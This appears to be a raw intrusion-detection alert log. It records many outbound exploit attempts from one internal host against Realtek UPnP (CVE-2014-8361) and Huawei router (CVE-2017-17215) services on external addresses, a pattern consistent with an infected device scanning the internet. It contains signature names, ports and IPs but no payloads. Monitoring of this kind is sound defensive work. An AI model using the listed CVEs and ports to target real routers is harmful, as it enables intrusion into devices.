ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.94.134.229

Timestamp:	07/20/24-23:01:49.064169
SID:	2831300
Source Port:	43312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.84.55.247

Timestamp:	07/20/24-23:01:58.807611
SID:	2027339
Source Port:	49242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.220.244.166

Timestamp:	07/20/24-23:01:20.169339
SID:	2835222
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.9.128

Timestamp:	07/20/24-23:01:31.979565
SID:	2829579
Source Port:	35010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.246.135.67

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.134.108.32

Timestamp:	07/20/24-23:01:08.684499
SID:	2027339
Source Port:	44404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.71.140.26

Timestamp:	07/20/24-23:01:49.567841
SID:	2831300
Source Port:	46500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.12.1

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	33566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.59.132.204

Timestamp:	07/20/24-23:01:47.902509
SID:	2831300
Source Port:	44290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.50.132.254

Timestamp:	07/20/24-23:01:43.944379
SID:	2027339
Source Port:	57812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.144.175.34

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	44054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.235.51.156

Timestamp:	07/20/24-23:01:49.567841
SID:	2027339
Source Port:	53186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.2.7.209

Timestamp:	07/20/24-23:01:42.048889
SID:	2027339
Source Port:	53344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.64.232.40

Timestamp:	07/20/24-23:01:46.308516
SID:	2027339
Source Port:	54942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.52.0

Timestamp:	07/20/24-23:01:24.883172
SID:	2835222
Source Port:	50806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.75.31.114

Timestamp:	07/20/24-23:01:55.666677
SID:	2027339
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.250.249.17

Timestamp:	07/20/24-23:02:08.246802
SID:	2027339
Source Port:	50224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.250.162.49

Timestamp:	07/20/24-23:01:13.047601
SID:	2025132
Source Port:	42960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.176.211.200

Timestamp:	07/20/24-23:01:42.778817
SID:	2831300
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.10.152

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	34896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.201.20.41

Timestamp:	07/20/24-23:01:02.349095
SID:	2025132
Source Port:	34796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.182.197.150

Timestamp:	07/20/24-23:01:45.519802
SID:	2831300
Source Port:	40966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 110.243.142.209

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	46650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.224.141.66

Timestamp:	07/20/24-23:02:05.311710
SID:	2025132
Source Port:	46826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.202.42.80

Timestamp:	07/20/24-23:01:50.280308
SID:	2831300
Source Port:	42914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.53.198

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	38176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.105.92

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	49182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.230.177.62

Timestamp:	07/20/24-23:01:47.604426
SID:	2027339
Source Port:	48060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.175.162.178

Timestamp:	07/20/24-23:01:52.543362
SID:	2831300
Source Port:	51336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	07/20/24-23:01:02.422228
SID:	2025132
Source Port:	57522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.241.164

Timestamp:	07/20/24-23:01:24.889163
SID:	2829579
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 184.160.174.234

Timestamp:	07/20/24-23:01:31.991336
SID:	2835222
Source Port:	41200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	07/20/24-23:01:03.930422
SID:	2025132
Source Port:	55040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.20.163.179

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	53678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.231.211.62

Timestamp:	07/20/24-23:01:45.134490
SID:	2027339
Source Port:	57054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.223.49.101

Timestamp:	07/20/24-23:01:47.275716
SID:	2027339
Source Port:	54548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.58.83.134

Timestamp:	07/20/24-23:00:59.154068
SID:	2829579
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.198.246

Timestamp:	07/20/24-23:01:27.650643
SID:	2835222
Source Port:	50680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.65.204.131

Timestamp:	07/20/24-23:01:56.378726
SID:	2025132
Source Port:	40432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.27.90.68

Timestamp:	07/20/24-23:01:42.563729
SID:	2027339
Source Port:	59400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.195.250

Timestamp:	07/20/24-23:01:21.937814
SID:	2835222
Source Port:	42512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.230.66.89

Timestamp:	07/20/24-23:01:42.928503
SID:	2025132
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.76.174.48

Timestamp:	07/20/24-23:01:43.020186
SID:	2025132
Source Port:	40860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.100.122.131

Timestamp:	07/20/24-23:01:43.874054
SID:	2027339
Source Port:	37088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.99.9.223

Timestamp:	07/20/24-23:01:00.633744
SID:	2835222
Source Port:	59806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.170.167.126

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	47310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.221.100.187

Timestamp:	07/20/24-23:01:08.571946
SID:	2831300
Source Port:	56214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.157.68.18

Timestamp:	07/20/24-23:01:26.120876
SID:	2027339
Source Port:	55384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.158.237.150

Timestamp:	07/20/24-23:01:08.575986
SID:	2027339
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.173.195.222

Timestamp:	07/20/24-23:01:31.314906
SID:	2027339
Source Port:	57430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.10.69.196

Timestamp:	07/20/24-23:00:57.222279
SID:	2829579
Source Port:	58602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.78.107.95

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	42374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.32.110

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	43812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.182.30.66

Timestamp:	07/20/24-23:01:43.724924
SID:	2831300
Source Port:	50284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.60.182

Timestamp:	07/20/24-23:01:34.060991
SID:	2829579
Source Port:	39904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.67.244.75

Timestamp:	07/20/24-23:01:46.462339
SID:	2027339
Source Port:	41534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.250.134.170

Timestamp:	07/20/24-23:01:01.367078
SID:	2027339
Source Port:	48042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.219.57

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	42646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.94.2.62

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	58050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 223.241.109.88

Timestamp:	07/20/24-23:01:20.169339
SID:	2835222
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.90.160.227

Timestamp:	07/20/24-23:01:45.489343
SID:	2027339
Source Port:	46452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:51.275864
SID:	2027339
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.166.157.114

Timestamp:	07/20/24-23:01:53.309955
SID:	2027339
Source Port:	41650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.206.255.62

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	42402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.158.187.83

Timestamp:	07/20/24-23:01:02.755930
SID:	2025132
Source Port:	44056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.243.97.104

Timestamp:	07/20/24-23:01:07.022763
SID:	2835222
Source Port:	50798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.248.255.23

Timestamp:	07/20/24-23:01:52.388926
SID:	2831300
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.85.182.81

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	60950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.39.181.117

Timestamp:	07/20/24-23:01:08.659435
SID:	2027339
Source Port:	51832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.107.134

Timestamp:	07/20/24-23:00:57.220983
SID:	2835222
Source Port:	55530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.238.177.84

Timestamp:	07/20/24-23:01:42.898615
SID:	2027339
Source Port:	55692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.0.35.148

Timestamp:	07/20/24-23:01:41.522990
SID:	2025132
Source Port:	53746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.145.57.110

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.207.69.207

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	46358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.239.61.12

Timestamp:	07/20/24-23:01:02.065822
SID:	2027339
Source Port:	49282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.129.192

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	33174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.217.116.132

Timestamp:	07/20/24-23:01:31.325400
SID:	2027339
Source Port:	54428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.211.6

Timestamp:	07/20/24-23:01:07.114267
SID:	2829579
Source Port:	38558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.249.51.37

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	38676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.41.22.33

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	33218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.56.140.249

Timestamp:	07/20/24-23:01:41.286911
SID:	2027339
Source Port:	56910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.129.60.246

Timestamp:	07/20/24-23:01:44.862542
SID:	2027339
Source Port:	44990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.73.79

Timestamp:	07/20/24-23:01:40.279669
SID:	2835222
Source Port:	43798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.254.2.2

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	48890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.214.207.137

Timestamp:	07/20/24-23:01:25.002144
SID:	2027339
Source Port:	41796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.90.49.252

Timestamp:	07/20/24-23:01:46.146350
SID:	2831300
Source Port:	47110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.24.218.23

Timestamp:	07/20/24-23:01:52.428503
SID:	2027339
Source Port:	33086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.70.166.60

Timestamp:	07/20/24-23:01:43.035756
SID:	2027339
Source Port:	38810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 213.187.250.71

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	48096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.66.151.191

Timestamp:	07/20/24-23:01:44.280821
SID:	2027339
Source Port:	50254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.104.185.79

Timestamp:	07/20/24-23:01:44.175701
SID:	2027339
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.24.153.194

Timestamp:	07/20/24-23:01:04.142086
SID:	2027339
Source Port:	57262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.207.71.238

Timestamp:	07/20/24-23:01:45.175511
SID:	2831300
Source Port:	52488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.101.199

Timestamp:	07/20/24-23:01:11.818842
SID:	2829579
Source Port:	35052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.155.110.53

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	37886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.116.25.221

Timestamp:	07/20/24-23:01:02.716646
SID:	2025132
Source Port:	46338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.217.152.223

Timestamp:	07/20/24-23:01:43.977046
SID:	2025132
Source Port:	50968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.254.210.2

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.24.146.250

Timestamp:	07/20/24-23:01:47.503890
SID:	2027339
Source Port:	44896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.72.21.57

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	40132
Destination Port:	37215
Protocol:	TCP
